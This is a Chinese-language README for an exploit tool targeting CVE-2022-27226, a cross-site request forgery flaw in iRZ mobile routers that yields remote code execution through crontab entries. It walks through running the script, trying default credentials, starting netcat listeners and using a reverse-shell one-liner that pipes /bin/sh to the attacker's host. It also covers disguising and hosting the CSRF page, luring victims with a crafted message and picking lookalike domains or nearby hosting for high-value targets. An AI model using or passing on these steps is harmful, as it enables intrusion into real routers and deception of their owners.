CVE-2022-27226 漏洞利用工具
iRZ移动路由器中的跨站请求伪造导致远程代码执行
<--漏洞发现-->
John Jackson
Chris Mack --- [https://github.com/0xHalcyon]
<--漏洞利用开发-->
Stephen Chavez --- [https://github.com/redragonx/]
Robert Willis
iRZ移动路由器(截至2022年3月16日)存在一个CSRF问题,允许威胁行为者在路由器管理面板中创建crontab条目。该cronjob将按威胁行为者定义的间隔执行条目,导致远程代码执行,从而使威胁行为者能够获得文件系统访问权限。此外,如果未修改路由器的默认凭据,或者威胁行为者发现了有效凭据,则无需用户交互即可实现远程代码执行。
在尝试捕获shell之前启动两个netcat监听器非常重要,这是因为crontab在运行时会重复执行相同的cronjob多次,并且你的shell将在下一个周期死亡。由于busybox环境相当受限,你无法使用nohup;你也可以修改漏洞利用代码,设置不同的crontab条目间隔,但避免担心crontab间隔的最佳方法是使用多个监听器来捕获第一个反向shell。
研究发现,在大多数情况下,路由器不会在外部开放telnet端口——然而,一旦获得远程代码执行,你可以(大多数情况下)利用telnet来修复TTY。你需要有凭据才能这样做。如果你正在使用完整的CSRF到RCE利用链,我们建议你构建一个更全面的CSRF PoC模板,用于记录用户的登录事件或可能包含Basic Authorization头部的HTTP头部,该头部已在脚本中处理。
这些路由器的默认凭据通常为 root:root 或 admin:admin。如果你有凭据,请运行:
python cve.py
按照非常简单的说明操作,然后在两个不同的端口上启动两个netcat监听器。
nc -lvp 443
nc -lvp 5000
当你在第一个监听器中捕获到反向shell时,重新运行反向shell单行命令以获得持久shell:
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} {second_nc_listener_port} >/tmp/f
最后,如果你有凭据(如果你在使用这部分模块,你应该有凭据),尝试转向内部受限的telnet服务:
telnet 0.0.0.0
“但如果telnet在外部暴露了呢?”那就用凭据登录路由器啊,笨蛋。
该模块的说明与“经过身份验证的RCE”模块几乎相同。主要区别在于你没有凭据。
首先,要高效利用漏洞,你必须理解其工作原理。CSRF需要用户交互,这意味着你需要进行社会工程学攻击。有两种可能的情况:用户点击PoC按钮时已登录,或用户未登录。如果用户已认证到路由器,向API发送的用于创建cronjob的POST请求将生效,用户将看到一个空白页面。如果用户未登录,则会弹出基本身份验证框——方便的是,该基本身份验证弹出窗口将显示受害者路由器的IP地址,如果用户输入凭据,则POST请求将被发送到API。
如果受害者路由器托管在子域名上,我们建议尝试购买类似的域名;如果是高优先级目标,可以寻找具有相同子网范围的服务器提供商。对于高优先级目标,完善CSRF PoC可能是值得的。
运行脚本:
python cve.py
按照说明操作,脚本将为你生成一个CSRF模板。我们建议将其重命名为更为隐蔽的名称。
mv poc.new.html index.html
将PoC托管在你的服务器上,最好与受害者路由器使用相同的端口。
python3 -m http.server 80
将链接发送给受害者,确保在URL末尾添加PoC文件名:
亲爱的,你能登录一下路由器吗:
http://your-ip-in-the-united-states-bcuz-you-didnt-take-my-advice/index.html